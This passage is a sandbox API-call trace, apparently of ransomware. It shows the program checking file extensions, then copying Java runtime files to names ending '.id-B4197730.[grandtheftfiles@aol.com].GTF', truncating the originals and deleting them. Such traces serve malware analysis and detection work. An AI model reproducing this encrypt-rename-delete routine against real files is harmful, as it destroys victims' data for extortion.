	[0163.130] lstrlenW (lpString=".xls") returned 4
	[0163.130] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString=".xlsx") returned 5
	[0163.130] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0163.130] lstrlenW (lpString=".ppt") returned 4
	[0163.130] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.130] lstrlenW (lpString=".zip") returned 4
	[0163.130] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString=".rar") returned 4
	[0163.130] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0163.131] lstrlenW (lpString=".bz2") returned 4
	[0163.131] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0163.131] lstrlenW (lpString=".7z") returned 3
	[0163.131] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.131] lstrlenW (lpString=".dbf") returned 4
	[0163.131] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.131] lstrlenW (lpString=".1cd") returned 4
	[0163.131] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0163.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.131] lstrlenW (lpString=".jpg") returned 4
	[0163.131] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0163.131] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0163.131] lstrlenW (lpString="local_policy.jar") returned 16
	[0163.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.132] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3527) returned 1
	[0163.132] CloseHandle (hObject=0x43c) returned 1
	[0163.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20
	[0163.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.132] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.132] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.133] GetLastError () returned 0x0
	[0163.133] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xdc7, lpOverlapped=0x0) returned 1
	[0163.134] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0163.135] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.135] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0163.135] SetEndOfFile (hFile=0x504) returned 1
	[0163.136] CloseHandle (hObject=0x504) returned 1
	[0163.136] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.136] SetEndOfFile (hFile=0x43c) returned 1
	[0163.138] CloseHandle (hObject=0x43c) returned 1
	[0163.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.139] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1
	[0163.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.139] lstrlenW (lpString=".doc") returned 4
	[0163.139] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.139] lstrlenW (lpString=".docx") returned 5
	[0163.139] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0163.139] lstrlenW (lpString=".pdf") returned 4
	[0163.139] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString=".xls") returned 4
	[0163.140] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString=".xlsx") returned 5
	[0163.140] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0163.140] lstrlenW (lpString=".ppt") returned 4
	[0163.140] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.140] lstrlenW (lpString=".zip") returned 4
	[0163.140] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString=".rar") returned 4
	[0163.140] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString=".bz2") returned 4
	[0163.140] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.140] lstrlenW (lpString=".7z") returned 3
	[0163.140] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.140] lstrlenW (lpString=".dbf") returned 4
	[0163.140] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.140] lstrlenW (lpString=".1cd") returned 4
	[0163.140] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.140] lstrlenW (lpString=".jpg") returned 4
	[0163.140] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.140] lstrlenW (lpString=".doc") returned 4
	[0163.140] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.140] lstrlenW (lpString=".docx") returned 5
	[0163.140] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0163.140] lstrlenW (lpString=".pdf") returned 4
	[0163.140] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString=".xls") returned 4
	[0163.140] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.140] lstrlenW (lpString=".xlsx") returned 5
	[0163.140] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0163.140] lstrlenW (lpString=".ppt") returned 4
	[0163.141] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.141] lstrlenW (lpString=".zip") returned 4
	[0163.141] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.141] lstrlenW (lpString=".rar") returned 4
	[0163.141] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.141] lstrlenW (lpString=".bz2") returned 4
	[0163.141] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.141] lstrlenW (lpString=".7z") returned 3
	[0163.141] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.141] lstrlenW (lpString=".dbf") returned 4
	[0163.141] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.141] lstrlenW (lpString=".1cd") returned 4
	[0163.141] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0163.141] lstrlenW (lpString=".jpg") returned 4
	[0163.141] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.141] lstrcmpiW (lpString1=".libraries", lpString2=".GTF") returned 1
	[0163.141] lstrlenW (lpString="trusted.libraries") returned 17
	[0163.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.142] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=0) returned 1
	[0163.142] CloseHandle (hObject=0x43c) returned 1
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.142] lstrlenW (lpString=".doc") returned 4
	[0163.142] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0163.142] lstrlenW (lpString=".docx") returned 5
	[0163.142] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0163.142] lstrlenW (lpString=".pdf") returned 4
	[0163.142] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0163.142] lstrlenW (lpString=".xls") returned 4
	[0163.142] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0163.142] lstrlenW (lpString=".xlsx") returned 5
	[0163.143] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0163.143] lstrlenW (lpString=".ppt") returned 4
	[0163.143] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.143] lstrlenW (lpString=".zip") returned 4
	[0163.143] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString=".rar") returned 4
	[0163.143] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString=".bz2") returned 4
	[0163.143] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString=".7z") returned 3
	[0163.143] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.143] lstrlenW (lpString=".dbf") returned 4
	[0163.143] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.143] lstrlenW (lpString=".1cd") returned 4
	[0163.143] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.143] lstrlenW (lpString=".jpg") returned 4
	[0163.143] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.143] lstrlenW (lpString=".doc") returned 4
	[0163.143] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString=".docx") returned 5
	[0163.143] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0163.143] lstrlenW (lpString=".pdf") returned 4
	[0163.143] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString=".xls") returned 4
	[0163.143] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0163.143] lstrlenW (lpString=".xlsx") returned 5
	[0163.143] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0163.144] lstrlenW (lpString=".ppt") returned 4
	[0163.144] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0163.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.144] lstrlenW (lpString=".zip") returned 4
	[0163.144] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0163.144] lstrlenW (lpString=".rar") returned 4
	[0163.144] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0163.144] lstrlenW (lpString=".bz2") returned 4
	[0163.144] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0163.144] lstrlenW (lpString=".7z") returned 3
	[0163.144] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.144] lstrlenW (lpString=".dbf") returned 4
	[0163.144] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0163.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.144] lstrlenW (lpString=".1cd") returned 4
	[0163.144] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0163.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0163.144] lstrlenW (lpString=".jpg") returned 4
	[0163.144] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0163.144] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0163.144] lstrlenW (lpString="US_export_policy.jar") returned 20
	[0163.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.145] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3026) returned 1
	[0163.145] CloseHandle (hObject=0x43c) returned 1
	[0163.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20
	[0163.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.145] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.145] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.146] GetLastError () returned 0x0
	[0163.146] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0163.148] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0163.149] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.149] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xfc, lpOverlapped=0x0) returned 1
	[0163.149] SetEndOfFile (hFile=0x504) returned 1
	[0163.149] CloseHandle (hObject=0x504) returned 1
	[0163.149] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.149] SetEndOfFile (hFile=0x43c) returned 1
	[0163.151] CloseHandle (hObject=0x43c) returned 1
	[0163.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.152] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1
	[0163.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.152] lstrlenW (lpString=".doc") returned 4
	[0163.152] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.153] lstrlenW (lpString=".docx") returned 5
	[0163.153] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0163.153] lstrlenW (lpString=".pdf") returned 4
	[0163.153] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.153] lstrlenW (lpString=".xls") returned 4
	[0163.153] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.153] lstrlenW (lpString=".xlsx") returned 5
	[0163.153] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0163.153] lstrlenW (lpString=".ppt") returned 4
	[0163.153] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.153] lstrlenW (lpString=".zip") returned 4
	[0163.153] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.153] lstrlenW (lpString=".rar") returned 4
	[0163.153] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.153] lstrlenW (lpString=".bz2") returned 4
	[0163.153] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.153] lstrlenW (lpString=".7z") returned 3
	[0163.153] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.153] lstrlenW (lpString=".dbf") returned 4
	[0163.153] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.153] lstrlenW (lpString=".1cd") returned 4
	[0163.153] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.153] lstrlenW (lpString=".jpg") returned 4
	[0163.153] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.153] lstrlenW (lpString=".doc") returned 4
	[0163.153] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.153] lstrlenW (lpString=".docx") returned 5
	[0163.153] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0163.153] lstrlenW (lpString=".pdf") returned 4
	[0163.153] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.154] lstrlenW (lpString=".xls") returned 4
	[0163.154] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.154] lstrlenW (lpString=".xlsx") returned 5
	[0163.154] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0163.154] lstrlenW (lpString=".ppt") returned 4
	[0163.154] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.154] lstrlenW (lpString=".zip") returned 4
	[0163.154] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.154] lstrlenW (lpString=".rar") returned 4
	[0163.154] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.154] lstrlenW (lpString=".bz2") returned 4
	[0163.154] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.154] lstrlenW (lpString=".7z") returned 3
	[0163.154] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.154] lstrlenW (lpString=".dbf") returned 4
	[0163.154] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.154] lstrlenW (lpString=".1cd") returned 4
	[0163.154] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0163.154] lstrlenW (lpString=".jpg") returned 4
	[0163.154] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.154] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0163.154] lstrlenW (lpString="sound.properties") returned 16
	[0163.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.155] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1210) returned 1
	[0163.155] CloseHandle (hObject=0x43c) returned 1
	[0163.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20
	[0163.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.155] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.155] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.156] GetLastError () returned 0x0
	[0163.156] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4ba, lpOverlapped=0x0) returned 1
